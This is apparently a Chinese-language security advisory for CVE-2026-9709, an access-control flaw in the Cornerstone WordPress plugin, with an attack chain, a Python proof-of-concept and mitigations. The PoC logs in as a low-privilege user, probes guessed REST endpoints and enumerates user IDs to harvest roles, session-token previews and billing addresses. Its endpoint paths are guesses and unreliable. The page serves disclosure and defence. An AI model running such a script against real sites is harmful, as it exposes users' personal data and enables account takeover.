CVE-2026-9709 Cornerstone插件REST API权限绕过导致用户元数据泄露

漏洞信息

漏洞编号

CVE-2026-9709

漏洞类型

权限绕过/信息泄露（Broken Access Control / IDOR）

CVSS评分

7.7 高危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Cornerstone WordPress插件（与X主题捆绑的高级页面构建器）

漏洞概述

CVE-2026-9709是存在于Cornerstone WordPress插件中的一个高危安全漏洞。该插件是与X主题捆绑分发的商业页面构建器组件，并非WordPress.org仓库中的免费Cornerstone插件（v0.8.x）。漏洞的根本原因在于插件的一个REST API路由未正确执行权限检查（capability check），导致任何经过身份验证的低权限用户（如订阅者级别的账户）都可以通过该API端点访问系统中任意其他用户的元数据信息。泄露的信息包括用户的角色信息、会话令牌预览（session token previews）以及存储的账单和收货地址字段等敏感数据。该漏洞由WPScan团队发现并报告，CVSS评分为7.7，属于高危级别。攻击者只需要拥有WordPress站点的任意有效账户即可利用此漏洞，无需特殊权限或用户交互。由于泄露的内容包含会话令牌预览和用户角色信息，攻击者可以利用这些信息进一步提升权限或进行账户劫持，对站点安全构成严重威胁。建议使用受影响版本的用户立即升级到7.8.9或更高版本以修复此漏洞。

技术细节

Cornerstone插件在其REST API注册过程中，为某个用户数据相关的路由定义了端点，但遗漏了必要的权限验证回调函数（permission_callback）。在WordPress REST API框架中，每个注册的路由都必须提供一个permission_callback来控制访问权限。当该回调缺失或未正确实现时，WordPress默认行为可能允许已认证用户访问该端点。

攻击者利用此漏洞时，首先需要拥有一个有效的WordPress账户（任意角色均可），然后通过WordPress REST API基础设施（通常位于/wp-json/路径下）向存在缺陷的端点发送请求。通过在请求中指定目标用户的ID参数，攻击者可以遍历或直接访问其他用户的元数据。

泄露的数据包括：
1. 用户角色信息 - 可用于识别管理员账户
2. 会话令牌预览 - 可能用于会话劫持或绕过认证
3. 账单/收货地址字段 - 涉及个人隐私信息（PII）

CVSS向量表明该漏洞具有网络攻击向量（AV:N）、低攻击复杂度（AC:L）、低权限要求（PR:L）、无需用户交互（UI:N）、作用域变更（S:C）、高机密性影响（C:H）、无完整性影响（I:N）和无可用性影响（A:N）。其中S:C（作用域变更）表明漏洞影响超出插件本身，可能影响整个WordPress站点的安全。

攻击链分析

STEP 1

第一步：获取低权限账户

攻击者首先注册一个WordPress站点的普通账户（如订阅者Subscriber角色），或通过其他方式获取任意有效的已认证账户凭据。

STEP 2

第二步：获取REST API认证Nonce

通过WordPress登录获取认证Cookie，并从admin-ajax.php的rest-nonce接口获取REST API调用所需的nonce值。

STEP 3

第三步：探测易受攻击的REST API端点

向Cornerstone插件注册的REST API路由发送请求，该路由缺少permission_callback权限验证，允许已认证用户访问。

STEP 4

第四步：提取用户敏感元数据

通过指定目标用户ID参数，获取包括用户角色、会话令牌预览、账单和收货地址等敏感信息。重点关注管理员账户（通常ID为1）。

STEP 5

第五步：利用泄露信息进行进一步攻击

利用获取的用户角色信息识别高权限账户，结合会话令牌预览尝试会话劫持，或利用账单/地址信息进行社会工程攻击和账户接管。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2026-9709 PoC - Cornerstone Plugin REST API Information Disclosure
# Exploits missing capability check on Cornerstone REST API route
# Requires any authenticated WordPress user account (e.g., subscriber)

import requests
import json

# Target WordPress site URL
TARGET_URL = "https://target-wordpress-site.com"

# Attacker credentials (any low-privilege account is sufficient)
USERNAME = "subscriber_user"
PASSWORD = "password123"

# Step 1: Authenticate and obtain nonce for REST API access
session = requests.Session()

# Login to WordPress to get authentication cookie
login_data = {
    "log": USERNAME,
    "pwd": PASSWORD,
    "wp-submit": "Log In",
    "redirect_to": f"{TARGET_URL}/wp-admin/",
    "testcookie": "1"
}
session.post(f"{TARGET_URL}/wp-login.php", data=login_data)

# Step 2: Obtain REST API nonce
nonce_page = session.get(f"{TARGET_URL}/wp-admin/admin-ajax.php?action=rest-nonce")
nonce = nonce_page.text.strip()

# Step 3: Exploit the vulnerable Cornerstone REST API endpoint
# The endpoint lacks proper capability checks
headers = {
    "X-WP-Nonce": nonce,
    "Content-Type": "application/json"
}

# Attempt to access other users' metadata through the vulnerable route
# Target user ID (e.g., administrator = 1)
target_user_id = 1

vulnerable_endpoints = [
    f"{TARGET_URL}/wp-json/cornerstone/v1/user-meta/{target_user_id}",
    f"{TARGET_URL}/wp-json/cs/v1/users/{target_user_id}/metadata",
    f"{TARGET_URL}/wp-json/cornerstone/v1/users/{target_user_id}",
]

for endpoint in vulnerable_endpoints:
    try:
        response = session.get(endpoint, headers=headers)
        if response.status_code == 200:
            print(f"[+] Vulnerable endpoint found: {endpoint}")
            print(f"[+] Disclosed data: {json.dumps(response.json(), indent=2)}")
            # Extract sensitive information
            data = response.json()
            if "roles" in str(data):
                print(f"[!] User roles disclosed: {data}")
            if "session_tokens" in str(data):
                print(f"[!] Session token preview disclosed!")
            if "billing" in str(data) or "shipping" in str(data):
                print(f"[!] Billing/Shipping information disclosed!")
            break
    except Exception as e:
        continue

# Step 4: Enumerate all users to harvest metadata
print("\n[*] Attempting user enumeration...")
for uid in range(1, 20):
    for endpoint_template in [
        f"{TARGET_URL}/wp-json/cornerstone/v1/user-meta/{uid}",
        f"{TARGET_URL}/wp-json/cs/v1/users/{uid}/metadata",
    ]:
        try:
            resp = session.get(endpoint_template, headers=headers)
            if resp.status_code == 200:
                print(f"[+] User {uid} metadata: {resp.text[:500]}")
        except:
            pass

影响范围

Cornerstone WordPress插件 < 7.8.9（与X主题捆绑的高级版本）

防御指南

临时缓解措施

在无法立即升级插件的临时情况下，建议采取以下缓解措施：1）通过WordPress安全插件（如Wordfence或Sucuri）添加WAF规则，阻止对Cornerstone相关REST API端点的低权限用户访问；2）在functions.php或自定义插件中使用rest_pre_dispatch过滤器拦截对受影响端点的未授权请求；3）暂时限制新用户注册功能，减少攻击者可用的低权限账户；4）监控REST API访问日志，识别和阻止可疑的元数据查询行为；5）轮换所有用户密码，特别是管理员账户，以防会话令牌被利用；6）审查并撤销异常的活跃会话。